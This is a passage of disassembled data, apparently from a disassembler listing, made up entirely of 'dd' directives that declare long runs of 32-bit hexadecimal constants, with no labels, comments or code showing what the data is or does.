		dd 4D2AE800h, 0F7D1277h, 0A4968Fh, 0E108061h, 6218F784h
		dd 1118BCBDh, 2B190C1Bh, 2361C56Ah, 3512D37Bh, 9441AA92h
		dd 9656C3C2h, 44F020h, 0A8EBAE4Ch, 7C4847D2h, 3820D50Eh
		dd 0B5798264h, 8A5C405Ch, 4C354818h, 0B6D410h, 71317263h
		dd 3E7B27F2h, 0C100FD15h, 0DE046EA6h, 9A00062Ah, 21F68E4Ah
		dd 910EF2h, 0D9C58A08h,	0F1BD55Eh, 615DC400h, 0B2AD11F3h
		dd 0E08003Ah, 4FAB964Eh, 721F7C87h, 88409F02h, 600B056Bh
		dd 5955B89Ah, 393B0043h, 71C9C800h, 3F810D95h, 0B0FCCD7Dh
		dd 980703ECh, 0CA19B155h, 0E16C02B0h, 0FBF55C7Bh, 9AE33A03h
		dd 6688275Dh, 8300D823h, 0D90D82F4h, 0E96D5FCh,	0E2AB73FEh
		dd 0AE67BF60h, 38009BA1h, 481FCC03h, 56B6F4h, 0FEAC71FAh
		dd 722F109Dh, 9D44383Ah, 4840A7C4h, 0F893425Ch,	32E05Dh
		dd 1EB1A957h, 0B0D98713h, 0C684C350h, 0EED74C00h, 0CCDE37E5h
		dd 961E000Ah, 0C99811FBh, 40016A4h, 0DD039502h,	2C0C83A2h
		dd 0CCE154h, 0ED3839ACh, 5038960h, 0B7512307h, 0B15000F2h
		dd 57154910h, 0D30034DFh, 0D4843505h, 9F7020h, 86C46326h
		dd 0C97F074Ah, 1C669E00h, 0CE097357h, 6329004Dh, 0F2E76960h
		dd 9D002A12h, 0EC70A20Ah, 2D67C9h, 593BFA2Eh, 0A44D13BEh
		dd 1578317Eh, 2DCD225h,	5AA88138h, 0C9000BCh, 3B27B511h
		dd 8F00B0C1h, 0EC2A1CD0h, 3C77A71h, 61D4084Dh, 1C8ABB4h
		dd 0CE00461Fh, 2DE782A3h, 7DDB45h, 1A49FB86h, 55748FE2h
		dd 44F45B09h, 531868E5h, 44C959FCh, 0B6984701h,	0D1903D48h
		dd 53C6D046h, 4310D750h, 91D6BE02h, 58AE80BAh, 0B87A1B58h
		dd 0CAC32088h, 0A5ABA3E0h, 1CD41B00h, 9C201D78h, 4497BD3h
		dd 5B9FE295h, 0D6A48231h, 0A54C82C0h, 80A29300h, 41A05629h
		dd 0BE550061h, 0F71C9225h, 6F3EC066h, 45B6813Bh, 0D653C73Dh
		dd 0E7954847h, 0D0916412h, 4FD02111h, 0C9D10355h, 0D6FC08BDh
		dd 1352C6E8h, 0FD010EFEh, 222C3FACh, 81ECEC5Dh,	0D59C03C4h
		dd 0DFC3CECFh, 0F59377C7h, 0CB48C085h, 9F006B84h, 5B5640E2h
		dd 3F61870Dh, 7C011DA2h, 0D1985F5Ch, 0BEF0BB10h, 0C2FC98A4h
		dd 14CA6A1h, 603D4D15h,	984510B6h, 8621B909h, 0D8150654h
		dd 0C9E2BD57h, 0ED630E1Eh, 0F400C25Eh, 49C83974h, 7B133DB6h
		dd 1951A684h, 72B0C06Ch, 5B00B53Bh, 0C87ED98h, 26213D12h
		dd 0EEB1ACBh, 75EC9019h, 4D6CAA18h, 8CA3A070h, 4C1115F8h
		dd 0B788583Dh, 15558581h, 94D06AEDh, 0E6450072h, 2106FC8Fh
		dd 68D23E2Bh, 0A0119490h, 709A6755h, 0E2773BBh,	0CA5D2001h
		dd 26B10CEh, 147C1081h,	87D5BC74h, 34EB239h, 0AA415B20h
		dd 515333A0h, 2100E908h, 8F034694h, 79303965h, 319B0444h
		dd 0C0EEBCF9h, 0C89CE101h, 0F13DB1C1h, 68800D6Fh, 0ABC67E73h
		dd 0B6030C67h, 69DD9AEh, 0C85193BFh, 390E80FEh,	4980EDBEh
		dd 4304E431h, 62002B61h, 18FE84B9h, 76F41Ah, 0FC1BEDC8h
		dd 7AEA15FBh, 0D0B38C04h, 0B0C0F940h, 471A2Fh, 0DCB4D9DAh
		dd 0A809984Dh, 48E86B00h, 144E2D59h, 17730090h,	699497Ch
		dd 3100E4B4h, 60AE1DA8h, 1901ACh, 335C3BDEh, 0E3A3ED6h
		dd 550044F0h, 1D37D10Ah, 0AFA832AFh, 53C16104h,	357880DEh
		dd 15AACA9Eh, 0BFDA0EB6h, 0F487ABCEh, 0C13AE0A4h, 5B06B767h
		dd 0C5D635AFh, 11FE4229h, 5321A9D8h, 90C3A208h,	7DEC84F2h
		dd 0A3420F48h, 0C0162292h, 9F7C882Fh, 4E2222FBh, 114A4290h
		dd 17287A9Ah, 8E962228h, 74112E42h, 0B3C3107Fh,	1A247D00h
		dd 819260BAh, 0F3B71300h, 1FB168DAh, 5DBD000Fh,	3A17759Eh
		dd 5C006D7Dh, 4D3C36Bh,	393C67C4h, 719781B2h, 0DD00FE5Ah
		dd 493EEABEh, 451E00C1h, 327E3122h, 0C3E0A411h,	0F6015D01h
		dd 0CB52D5D3h, 8269B07Ah, 0C6CD061Ch, 0CA642C40h, 4B0A46h
		dd 4F1280AFh, 4727AD6Dh, 89F21807h, 37277EA9h, 0F07D541h
		dd 6B12DECh, 2771E7D0h,	0B5384960h, 0DA7983C2h,	70F07Dh
		dd 99C94251h, 0D29676Fh, 980144FEh, 0F48CBD0Ch,	0D6C05A70h
		dd 0BE82008Bh, 0E27776ABh, 9F002A67h, 5094E17Fh, 3C9A84h
		dd 400F6487h, 0BB6F52F4h, 25DB95Ch, 21A4811Bh, 0D3FAE04Fh
		dd 0BF2600A1h, 5CD71944h, 6C00ACF0h, 181D357Eh,	9FC29Bh
		dd 0E646E580h, 2B8E0290h, 15072B90h, 0C952D67Ah, 0DF7C9FE0h
		dd 72A70050h, 0C40E1F0h, 674CD2E8h, 2C5C54E8h, 0DD8B230Ch
		dd 7BF28F7h, 0CA784B51h, 0C3723044h, 2A7CE78Ch,	0DCEDAB05h
		dd 0DDC05EECh, 0C03381C4h, 0FA36D3FAh, 0B7B09FFEh, 0A6C310C0h
		dd 40EB70DFh, 9301D412h, 7C1FB237h, 67E074D1h, 0B8541FE2h
		dd 53520994h, 744A020h,	64E8A539h, 0CC9BD600h, 0A4158BD2h
		dd 0B4853F51h, 0EA28B684h, 0CF07C081h, 41EA7C9Ah, 34023303h
		dd 0D9264AA6h, 0B180DB80h, 49E264C5h, 95000121h, 3D163B4h
		dd 50BB18h, 3C07C6E3h, 5B056EE9h, 82AFD8A0h, 844FDC00h
		dd 3AC96575h, 29E41E45h, 0DE434061h, 2A218D99h,	0CF638700h
		dd 0D9B5B1CCh, 0F1C70018h, 0D9915E7h, 437C0BCEh, 0AB146100h
		dd 377E714Dh, 31C40917h, 4800A751h, 0AC571AA6h,	854C100h
		dd 3AE43077h, 0B73E1DF5h, 0C4A8B1h, 383235DBh, 4428800Dh
		dd 16EE7EF6h, 83C76A00h, 0C9F69C9Fh, 9ED7006Bh,	978AAC8h
		dd 0BF001B29h, 0DAD31AEFh, 10632E6h, 24CE11B5h,	0CC8F8CA4h
		dd 5098DD54h, 324D4500h, 99BA28E2h, 1BDF003Bh, 483990F3h
		dd 2500E567h, 23F8DA6h,	0FC34C555h, 0EB48BAh, 8A542E7Ah
		dd 32C900DEh, 0E743BD01h, 47167212h, 3A3DD800h,	0EC307E59h
		dd 0B06C5FAEh, 0B702B626h, 0CD03E2BCh, 0F31C4801h, 0DF9717C3h
		dd 40400080h, 0D8430621h
		dd 1EC88300h, 0E2CAC6C2h, 3E580447h, 9780EE5Dh,	0F9004814h
		dd 0E7C2308Fh, 20BE0023h, 0B31179E9h, 10F65182h, 17665C07h
		dd 2E82A243h, 40040C1h,	0D3750052h, 401F817Eh, 1917652Ah
		dd 0AE0014EEh, 72E54341h, 20B5480Eh, 0B4F50400h, 0AC9D2E05h
		dd 2A4DAD0Ch, 0F848B9h,	0E5DF7E6Eh, 0FD6C1E58h,	5E0AE97Eh
		dd 0E0D203D0h, 88DC3500h, 1C2C30h, 70560BA3h, 0AD6E9F85h
		dd 2B7DD416h, 0C6BD5500h, 1B38F3Dh, 57A60D83h, 0F0BF635Eh
		dd 4100AF70h, 0CB716E1Dh, 0B54476h, 9A4258Fh, 0D2402318h
		dd 6169E4A0h, 1CFE4E00h, 7357B4DEh, 0AD1F002Fh,	1836C6Dh
		dd 0B800D9C9h, 0B131265Bh, 0E4871718h, 2B900BC1h, 0E6026E80h
		dd 5F4015E4h, 9614032Fh, 8E445F2h, 6D5E01h, 2797B935h
		dd 6BF2AF4Ch, 5D118800h, 26B49184h, 1253002Ch, 38C8CB43h
		dd 7D5452D3h, 6A038AD0h, 8BBB91ECh, 9F410289h, 0F7D34151h
		dd 0F181C460h, 0CFCEDF01h, 2B393295h, 0C81BBC43h, 38269C50h
		dd 808209D7h, 0AED84F1Ah, 59EDCC60h, 57766A02h,	40E1FFD0h
		dd 133EE5Ch, 5455A774h,	0C47CBD6Dh, 1A1C6426h, 0F3C099F0h
		dd 0A8CA8549h, 96DC00EFh, 287AB386h, 0B1672616h, 0A2FF093Eh
		dd 6868E36Fh, 0F5F308Ch, 43E0D316h, 0B0808049h,	0F73A204Eh
		dd 218F38h, 3717C5A8h, 20D257Dh, 7C95A788h, 604082E0h
		dd 1F0033ABh, 81DE4C21h, 147FFA6h, 80178548h, 0F6862C90h
		dd 0B9246C40h, 0EAD0B88h, 634853EEh, 6A694BE0h,	9EFB20BDh
		dd 47015EF8h, 0FCE55FEEh, 3CD8A020h, 56809D97h,	71B15081h
		dd 7200CB55h, 93FDA752h, 5102F5h, 0D361DCBDh, 15E4BCAh
		dd 8C2C8600h, 9F9D523Ch, 537C013Bh, 0BE9B3144h,	8155C530h
		dd 0DC890240h, 0F88B9F9Ah, 3C0F7969h, 0DFC69C60h, 0B7184598h
		dd 883C6C0Ah, 0EBA5039Fh, 0DA0C3938h, 0E48016BAh, 7FCE2752h
		dd 1015EA30h, 0A665C4h,	0D02844B8h, 0FAFB9582h,	0AF8D318h
		dd 0C58BDCD0h, 9FDD28h,	3EECCA88h, 5C006073h, 7A704CB2h
		dd 24BC78CBh, 24C49A7Bh, 54090343h, 0A801A26Ch,	4814EC82h
		dd 1093A3FBh, 9F8B00EDh, 0F0B68F4Eh, 49033916h,	8DFC4000h
		dd 0C0AB4A6Dh, 65C07C28h, 0E10CA514h, 19E519EAh, 17F5E8C3h
		dd 5D180AAEh, 0E98F4BF4h, 7E33020h, 0D7A09F8Dh,	7099B804h
		dd 0D71F2511h, 5F2CF898h, 2C648784h, 1F57ADBh, 1510EF37h
		dd 0D9588121h, 1B4039ACh, 0C6F12881h, 0EBE7515Ch, 0C87DE2E1h
		dd 6C2C6801h, 560CB112h, 0B0872821h, 0A8F004Eh,	637D80F2h
		dd 0E4003E02h, 22E82B95h, 7DDA5B35h, 26D10E73h,	28023165h
		dd 0D340ADABh, 6D3F8CFCh, 0FBF18074h, 1F5FDD34h, 1DCC4805h
		dd 0DAB86901h, 8014EF6Eh, 77BB4664h, 78632673h,	0B8B0EC2Ah
		dd 0AD6A0EFFh, 7580213Dh, 0B14A78D5h, 0EF3B200h, 2C33481Ah
		dd 5498D0h, 0AA2A348Dh,	3516270h, 59AEC750h, 8158814Ch
		dd 4A07856Eh, 0E6C7DD4h, 14E2F33Bh, 0C2B00037h,	6A812C91h
		dd 0FAF56901h, 432EBAAEh, 755430h, 338920F2h, 0E340B894h
		dd 0F300BB7Ch, 9D1F4E3Ah, 0C4E9CCh, 0AC061D9h, 242589C8h
		dd 0A0AC58h, 0C1DD1A50h, 3E4E9A5h, 8D77706Fh, 6AA8FE2Bh
		dd 0C70207E2h, 74B54796h, 589084CCh, 0FA220C80h, 7AE8B001h
		dd 28420004h, 0D3B3F941h, 6A04CF16h, 0D4762D6Ch, 2077DC80h
		dd 0E64C0130h, 840534E7h, 0DAF8244Ah, 9000BA73h, 3DF8C528h
		dd 262E7B77h, 120C292h,	6FB5B286h, 26642CC7h, 4C4548BCh
		dd 72B67280h, 349B0992h, 803179Ah, 5FA8A9BBh, 0F8000C0Bh
		dd 5179D673h, 22B1DACh,	3A4112A4h, 0E7D154h, 3034A4D3h
		dd 0B6E0F0C8h, 393E9100h, 0FE7A62E4h, 0B7210B74h, 0BC82AAADh
		dd 0B4C85A97h, 76004898h, 64F3BBDEh, 0A3694E4h,	0E0D1A784h
		dd 0A1FE01BCh, 61E74C7Bh, 0BB6D4BCh, 5300117Dh,	0A940241Bh
		dd 5F33A8h, 12F33E9Dh, 0A4BB3989h, 0FAF94D00h, 0F0D3208Dh
		dd 0C58000BFh, 3AFF3E4Bh, 290096E0h, 0AB0CDABBh, 0A1045Ch
		dd 70242B3Bh, 1FE15A06h, 834C8700h, 7AE8401Ch, 0BDB8F7h
		dd 0F93C2DE5h, 0B4317FFBh, 880F5A79h, 0E0CAB742h, 8DEB98D9h
		dd 0C5AB0045h, 8ACEA5A1h, 0A583986h, 5FF02B6h, 611C9E77h
		dd 0B8294C00h, 0C7E32709h, 41310000h, 0B50EF929h, 1C829Dh
		dd 0BC8D4B7Ah, 15A300AAh, 73E62C45h, 30C1C913h,	6B1B36D6h
		dd 0E73560h, 837F7CB1h,	0ABC726F6h, 31D84500h, 0B49C2A0Eh
		dd 0CBCD00D4h, 0EB4895E2h, 380306B7h, 213790FEh, 0C3B0C835h
		dd 418B0011h, 0A1BD22ECh, 500653Ah, 8E508F69h, 7713BA7Eh
		dd 5C6700F1h, 0F7DAD328h, 0D750F43Ah, 9409CAD4h, 48CD1C87h
		dd 0B4F8A8h, 13D57DAAh,	9554BDFBh, 0C13F8A00h, 160F718Fh
		dd 0DEA224B8h, 76D9264h, 0B02D4FECh, 0E3BAB79Dh, 4E9ADB00h
		dd 0B18D3CEAh, 3B27B0DAh, 0C3132F09h, 1EC800BAh, 0A296CA3h
		dd 0BB546D3Eh, 0A54D0046h, 2078DFD8h, 0F5DE1DCAh, 0EDA6001Fh
		dd 3E1C702h, 0CCA13B1Ch, 3A911C80h, 0DD4DF9h, 682966E9h
		dd 0B676B570h, 0A12A8100h, 11DB5761h, 0A8E60001h, 6A9DB3FAh
		dd 0B2018E3Ch, 863DA33h, 0A4D862C3h, 57780067h,	0BB9AFF48h
		dd 2A001297h, 0A898B603h, 3DD0859h, 0A9B23DFEh,	568069BAh
		dd 202D86Ch, 803311CAh,	0DC38C90Bh, 7D849C28h, 5A7F0118h
		dd 1434980Fh, 6F9A00AEh, 0CFC42976h, 9958BDBCh,	8AD200B4h
		dd 0E7A20A43h, 0C87601EDh, 1335AFD7h, 4800C361h, 7A31F632h
		dd 2FE2CA6h, 0C886A1B1h, 0C4EB145Dh, 8960B2D2h,	42F87AD7h
		dd 0BA3B5503h, 0FD9D93h, 0D45C5040h, 0A9CBD699h, 38F1385Ch
		dd 5656A647h, 95DB4607h, 0E8C0A561h, 0D2DAD4h, 315DC303h
		dd 94E73FFCh, 86D12400h, 0D3BC29DDh, 0A96A00C6h, 254FA10Ch
		dd 2A6FC9A3h, 0E73E6118h, 11890368h, 38077CACh,	0AFDE0138h
		dd 810E2013h, 6578F800h, 0EB4BE9D7h, 4CB8A2h, 0E85623EDh
		dd 0AF4AD364h, 0ECC13607h, 4552A3F5h, 885863C9h, 0BA6225h
		dd 7F0C7074h, 24E4B5ADh, 43B09950h, 1315EF7Bh, 19CDB8Dh
		dd 0EC5FA8B0h, 0E460F52Ah, 74FE7453h, 7EFCB219h, 0B26D183Ch
		dd 0A7D840C6h, 38989576h, 0B60C30Bh, 1002F0Eh, 90176FEFh
		dd 19864F2h, 0E892B653h, 5777DB0Dh, 0B02FE7F8h,	0A780DD40h
		dd 6C733905h, 0C90E6A8h, 162CA5E5h, 2B0A23Dh, 55AA9A38h
		dd 0FB3390E8h, 0CABA8D00h, 0E009D69Ch, 6D0C0095h, 29DC1527h
		dd 7800B987h, 0BBB0AE0Bh, 9060ECE7h, 235205E0h,	76DC7ADh
		dd 303878B8h, 0F70D1A2Dh, 0AE082CB1h, 2AE8011Eh, 0D42840h
		dd 163881h, 7D9654B6h, 0E6C7CB0Fh, 23A56402h, 0D061B90Bh
		dd 793E3810h, 0CF6F6080h, 93C808DEh, 75B64803h,	905E6D38h
		dd 16BAF7C1h, 103AEEh, 2526492Ch, 0A9020842h, 72AEADD8h
		dd 4C3F6004h, 0D11226AFh, 4B043954h, 0B07DAB43h, 311DDF38h
		dd 54004E2Eh, 0DA83C421h, 940E3091h, 7CB264E8h,	5E86F826h
		dd 71757700h, 606BE5D3h, 2C7EE9C9h, 6600FF40h, 33266D48h
		dd 0B02D4h, 1B7DF1E0h, 4E125B03h, 75423507h, 0AB60F224h
		dd 1D9D67AAh, 4EE271B4h, 59270145h, 0BD5A720Bh,	56ECFFE0h
		dd 660F1300h, 0D1DBA0FAh, 0AABF1D7Ch, 71CE0069h, 0C8A41973h
		dd 0DDE03F02h, 406D3E2Dh, 0F0EE24h, 56CEF558h, 60696F32h
		dd 68C9B20Ah, 410FC0D5h, 14F6A079h, 4FBCD6h, 0A527078Bh
		dd 0F94B6465h, 0C0D22112h, 0B9385900h, 1E8F2F20h, 0B988C91Fh
		dd 0F9357600h, 812D1EACh
		dd 0AEFB3705h, 0C0000EFAh, 7E656609h, 34201832h, 0F7111C28h
		dd 8DFEB709h, 0B58801Fh, 5CF04Ah, 0C49AD360h, 0EE2101B9h
		dd 0F5451609h, 4658E861h, 0EB90008Ch, 923AFC56h, 0BF00D5AEh
		dd 954A015Dh, 72258F5h,	50D05E13h, 0A2A770C8h, 600E3F9h
		dd 0C60CCE39h, 0D54535h, 8CA49CC1h, 0FD8E8759h,	0C99F7B00h
		dd 0F339ABCDh, 3D6E007Ah, 0C870EC61h, 940A2BB5h, 0E8F41E86h
		dd 88DBD503h, 0B643F0D1h, 0A0D9006Dh, 86A695D0h, 8703F44Ah
		dd 42FE2833h, 8CE1E9E2h, 0FEAB9BE0h, 0D9110181h, 8776FA32h
		dd 0BED430AEh, 89E4583Bh, 82FEB0h, 33697FECh, 0E6615041h
		dd 98CDE61Ch, 832902A7h, 0B7F5F267h, 0F521060h,	59AE3B50h
		dd 9B08D700h, 87BF7BBBh, 0B5D6004Bh, 0E37FA34Dh, 0D239CBE6h
		dd 4FDD008Bh, 0D885AB9Fh, 7F77299h, 0B4DE1A50h,	5A7C0C7h
		dd 3D0098DDh, 9CB8AF34h, 0F10D31Eh, 7BB7B142h, 0ABC37C40h
		dd 450095A8h, 4ABFA52Bh, 1D7196BCh, 5C640h, 0CBA37E3Ch
		dd 4E00C799h, 0AB16EC68h, 1F96CCC8h, 4258E9AFh,	208AA01Dh
		dd 4E0FFC80h, 645460F4h, 0F548BDF0h, 491A0086h,	0EB6F55C9h
		dd 4ABC0092h, 5AF79478h, 9CB03F28h, 69C3E107h, 1303605h
		dd 0A172E5Dh, 0CB4CD462h, 0E5A601FCh, 57813DAFh, 60A007B4h
		dd 0E48C311Bh, 84987A12h, 97C8C88h, 90A4B44Bh, 8C538CCCh
		dd 0A38300F4h, 0B3D3B491h, 2D70BF5Eh, 63BDB750h, 0C189061h
		dd 9EECFEDCh, 11D0081h,	97F5F041h, 20BA4DF2h, 1A54E200h
		dd 403D1878h, 7F17008Fh, 9791B0AFh, 5C1C3E39h, 0E2C04E89h
		dd 1B55DBBBh, 0C8BC0015h, 5AC10FE6h, 0C33DE5CAh, 50EE8054h
		dd 21AC2917h, 440A19F0h, 7055E8ABh, 0B80012FBh,	0AF6AE8C9h
		dd 0C1432Bh, 15779809h,	6EDCF5B5h, 0D5051216h, 3B6AAC00h
		dd 5E2F7CADh, 0D9A400A4h, 536CD101h, 0C7421709h, 0EDE4030Ch
		dd 21BD8989h, 26162C3Ch, 0DFF85441h, 493CC700h,	310A9DB7h
		dd 0D61319C0h, 9A8938h,	0D192DF21h, 801290FCh, 0E9F0AA00h
		dd 0E7B475BCh, 9B1F0596h, 0C0A75969h, 5DDB2A9Fh, 4F920D00h
		dd 6CC12E17h, 1B09581Ch, 0A800804Ch, 2D35B4Ch, 7900B2FBh
		dd 0FFAC9D3Ah, 84993h, 0BEF707D4h, 0E6DFE57Dh, 75D5F800h
		dd 0CD3F4F94h, 0A48F090Dh, 8C00E220h, 54D63C77h, 0F4FF2224h
		dd 406BF003h, 740BD88Bh, 5B377B4h, 1314B29Ah, 79B4900Ah
		dd 0A658D0BCh, 4C007304h, 543A654Eh, 0B9A988Fh,	0EFF64EBh
		dd 9B80F820h, 0F700F0DCh, 925B1E96h, 719EBAA1h,	275C0010h
		dd 0E0A9625Fh, 11C7CA55h, 0C4F096FCh, 0F2BA810Eh, 0CF53032Eh
		dd 31DA33B1h, 0F609C5D8h, 0BDFE6800h, 763EEC28h, 5C42005Dh
		dd 44855440h, 0E10EA3B6h, 9C4FD2D6h, 20D5290Eh,	0AFA1C69h
		dd 2D300EC8h, 801EAD9Eh, 0DEEED18h, 0D0C33922h,	891AE670h
		dd 10802EE9h, 715F53E3h, 1057A17h, 0B0C9164Ch, 4AD7CA0h
		dd 0E5E367D4h, 0F8510031h, 0FBCD27Dh, 4EC4A752h, 0AB9394E0h
		dd 442D787Ch, 4E494B8h,	38CA40B4h, 0DCC4F006h, 28924A03h
		dd 23F7E9Eh, 0DBFE8C48h, 0F80E3Eh, 30F4F018h, 5A63570h
		dd 938F7947h, 325CD05Ch, 150966FCh, 200CDCCDh, 0EA172A54h
		dd 0CB89429h, 1912D136h, 47E6630Bh, 0B304A1C8h,	0B8F78FEBh
		dd 177E186h, 0F99F01EEh, 0DD4630CFh, 0B69AD025h, 34D53200h
		dd 3B46219h, 0ABBE0092h, 0CEA8B80Fh, 6B004BAFh,	786D8CBFh
		dd 0C9A506h, 7D21B13Eh,	0D2B29EF9h, 0EBBA900h, 9F84B632h
		dd 0AE280AFDh, 1C88CF47h, 385C0EAh, 0CA77E20h, 15D81E1Ch
		dd 0ED013196h, 0EE659A6Bh, 90439443h, 3A8C6A33h, 0B3808183h
		dd 2C900AECh, 0E200D0B1h, 0EFF4E955h, 7E4FF131h, 6B580020h
		dd 83FD6288h, 7A00921Eh, 2A595B5Eh, 0BB9735h, 251F2B10h
		dd 0BDB693A4h, 28A96C26h, 6A754D00h, 0A230EAh, 3874391h
		dd 704198EBh, 2DED5F01h, 0A47C5AEh, 902CBDD4h, 0D52309C9h
		dd 38E057D4h, 2A00C0EDh, 0EF3BB529h, 980AEE7Ah,	32351728h
		dd 91149C61h, 4A5FFF00h, 9EC9AA18h, 0D87500F1h,	0DDF8FDBBh
		dd 0F40040A2h, 9F0A5FB2h, 0EC6C717h, 29B0C5A4h,	0C17F8620h
		dd 9300DB57h, 6A63B3F2h, 77DE0BE5h, 245B0909h, 0A18739D5h
		dd 2083A261h, 0D2BA60E3h, 9800A87Ah, 0E203B929h, 78DCD63h
		dd 0AB87D308h, 0C4F9936Dh, 511C8AF8h, 0E53DA700h, 10F74956h
		dd 774A24B2h, 0E2B70205h, 0D0C0E926h, 0E00ED4Dh, 62FF6E6Fh
		dd 0C1443DDh, 0E8DF4E0Bh, 0C91EC120h, 0AD40E5CFh, 0EB545D3Fh
		dd 0D55F82h, 3C5693F8h,	0CE053B23h, 0A45C8A79h,	939930E0h
		dd 4540437Ch, 0A2D28801h, 0C29E0220h, 2757470h,	2DEAB187h
		dd 0B4A3A0C0h, 3665EF72h, 0D0B0D241h, 195917E4h, 0BCE1076Bh
		dd 0DCAF11A2h, 15F9FBB9h, 7E8695Eh, 6B404585h, 0A1B46D90h
		dd 5C1600A4h, 68A7C32Eh, 0D249620h, 6700E042h, 7662DDAAh
		dd 7F5F3BE0h, 0F852780h, 0DA541007h, 28533630h,	2468D9B0h
		dd 709916h, 0C1A13AECh,	341D79A9h, 8CDEFD2Ah, 0CC0A5DCh
		dd 0B499F4F2h, 327600E0h, 919D3382h, 6A0072CAh,	6B96B8FDh
		dd 9A10F18h, 505AF6BDh,	0BF86C0Ah, 8A0C0CCh, 7DCDE0E9h
		dd 355D9C00h, 9FAFF3D7h, 0EBED002Dh, 5A498102h,	0A603DB39h
		dd 979831B0h, 10419006h, 0EEE0ACh, 966570BDh, 83AF1895h
		dd 50D7165Ch, 0DE20816Ch, 4ECECh, 5A856E56h, 0FED27F4h
		dd 14B44200h, 0FF62C038h, 3A0738Ch, 1632A219h, 0B1C848EDh
		dd 0F09CFAEh, 40A37037h, 15B079Ch, 0FD2EC19Eh, 53E6D659h
		dd 90030ED4h, 8A50C3C4h, 0B6248079h, 60DE5C2Bh,	2D1EAD00h
		dd 8795F22Fh, 23314700h, 97DF8C10h, 478B0F7h, 68E3E876h
		dd 0EB88805Ch, 2F0027B9h, 8A226788h, 11C7BAh, 0DB05D246h
		dd 3396F51Dh, 454B38B0h, 0BA345880h, 48E400CAh,	844F37C7h
		dd 0B8049001h, 0BFA69279h, 2D4308C0h, 3ECE8CCh,	0B4AAE17Ch
		dd 13F33915h, 6368E0ECh, 0DD0E0C9Ah, 203501CAh,	0E75F8D47h
		dd 9A267F72h, 8B048E4h,	1128C018h, 0F812FB7Eh, 0CCA073C3h
		dd 0E27D1DEBh, 0B8006D06h, 4EAAC626h, 0F62D900h, 6BD07C31h
		dd 6F12008Ch, 18B06DD3h, 2A72B434h, 87A0983Bh, 2DC020FDh
		dd 3234A0EBh, 0B0AAB82Bh, 50010161h, 1335840Eh,	56B88C36h
		dd 2092103Eh, 2E78A7D8h, 91676D05h, 0DEC03752h,	0D5FF9Dh
		dd 0CE79A546h, 8020591Dh, 249EE000h, 0DE48ACFAh, 0D85B0015h
		dd 55F17810h, 70005667h, 52B89C50h, 3A8B283h, 7504C2B1h
		dd 95E76918h, 0B99C4A2Eh, 782818B8h, 0F1EC0721h, 0A8B81560h
		dd 74D6D9Ch, 311C5C8Fh,	0B585E9h, 6499B908h, 84001EACh
		dd 0A46E2865h, 170DFAC6h, 6A9A52h, 5B83F3B9h, 0D500E1AFh
		dd 0A87E6FA9h, 0E4E0AB3Ah, 0D4300052h, 749FDAF5h, 0C7E446FFh
		dd 90EBC807h, 18101FC6h, 0FBA851h, 0D6E0FAE1h, 0C4BAAE3h
		dd 461BB3A0h, 7573B300h, 83D42B16h, 1EC400E2h, 1AE330F0h
		dd 9CFE01F1h, 0DBE93551h, 0B7921A8h, 3397A00h, 1328E79Eh
		dd 41F4DCh, 0FEF6544Bh,	10898270h, 0CDF95Ch, 0D5FC1CEEh
		dd 26CEE2h, 50AB1A9Ch, 981D1916h, 0AA01CC72h, 0E7B13515h
		dd 0E0C7B9DEh, 1C68C2E4h, 0AAF33A7h, 9CA41AC0h,	526F07FDh
		dd 0A40E9094h, 0D74EA9Ch, 5B212E60h, 4CF6F19h, 9F61DD08h
		dd 1D30D097h, 0FD03AD94h, 9C2BA10Ch, 0C1301841h, 3E3B3931h
		dd 0F5DBA300h, 77D89672h, 8113007Bh, 73E77E66h,	4A00EC1Ah
		dd 8929DE98h, 0BAD3C383h
		dd 38AF48B4h, 2FB76C0Ch, 51001211h, 5CB905DAh, 66B1AB01h
		dd 21470864h, 0DA58F103h, 0C80CAD4Dh, 674D728h,	65BD4F76h
		dd 7F98A012h, 0B21F5D00h, 5732311Eh, 0C9A760B5h, 66EB02CFh
		dd 83E65603h, 30EE2E21h, 1491C608h, 3FCEAFBh, 0B57EFA00h
		dd 4415B798h, 0A76703DFh, 97C959C6h, 5CD7C02Bh,	0DE599053h
		dd 1182000Bh, 0B7351609h, 0D8E692D6h, 984961C4h, 0B2E8B600h
		dd 7000ABAh, 0B5023681h, 114543h, 5FF2F971h, 84CAFB41h
		dd 0DEEB4903h, 0A86B23A8h, 347A9h, 0D2ACB7A0h, 76A1C15Ch
		dd 9515D400h, 835D0DF2h, 0A5CA04FEh, 0C0F66FEEh, 733CA29Ch
		dd 0FAB1E103h, 0C00B2E90h, 4E3A56h, 1BB8DD83h, 229DE6D8h
		dd 0D500BB75h, 15BD735Ah, 0E39928h, 0DFB5897Eh,	4DC0D708h
		dd 0C84F1A00h, 74B2C1B6h, 5D6B02A7h, 0B46AFE15h, 798B9B60h
		dd 6F88BD01h, 0A7807118h, 21D90898h, 790094CAh,	63BAAC27h
		dd 1DE688A9h, 0C3F751EBh, 4F17C84Bh, 582375EBh,	798F0309h
		dd 62A488B9h, 98BE20D6h, 6F3EF779h, 2D4480ABh, 3453E6F2h
		dd 1AC300A6h, 0A837240Ah, 0CD00F1B0h, 0B46BA48Ch, 37D27C53h
		dd 21211B16h, 31CDF0E6h, 1D2083A2h, 4CE7A2Ch, 0BC47E240h
		dd 7C7301ACh, 389F1446h, 0D9E408ECh, 98016A07h,	417196h
		dd 6128965Ch, 0B84794F4h, 8CC55B8h, 0B12160h, 0ACA1288Eh
		dd 0F0F1EA9Bh, 4B8D5E1Dh, 8452E70Ah, 0D70CBF48h, 3886105Ah
		dd 6900F12Bh, 0F2CC9F22h, 0E0F80AF5h, 59386F00h, 0C52C20FAh
		dd 9CE10315h, 3319048Dh, 225CA2C0h, 80988039h, 758831C8h
		dd 0CAD0EBh, 0FAE6812h,	0B64DB76Eh, 0CBD2F0Fh, 5DBC4339h
		dd 8570D773h, 69306Ch, 8E5E03Fh, 0AD5ECAB7h, 54013379h
		dd 851CC27Bh, 0A6F1B2B9h, 0B404CD8h, 5EF9C0F5h,	37096480h
		dd 750108AFh, 0EDF455CFh, 9984E32h, 100F21EAh, 50277500h
		dd 46EF12DAh, 446D0945h, 0F0004DA9h, 8008E6B7h,	1AAB5200h
		dd 0DFB8D02Dh, 0D7CF0E36h, 0C080372Fh, 34FF9844h, 80182907h
		dd 4AD09A76h, 0EE602E25h, 0CF68C0B8h, 53630585h, 0B0E96D00h
		dd 4E8E79ADh, 4960D8B4h, 0CE0CDD09h, 11345202h,	75290017h
		dd 1403BDDFh, 1366B60Eh, 210B08h, 0F7752101h, 1AE4A089h
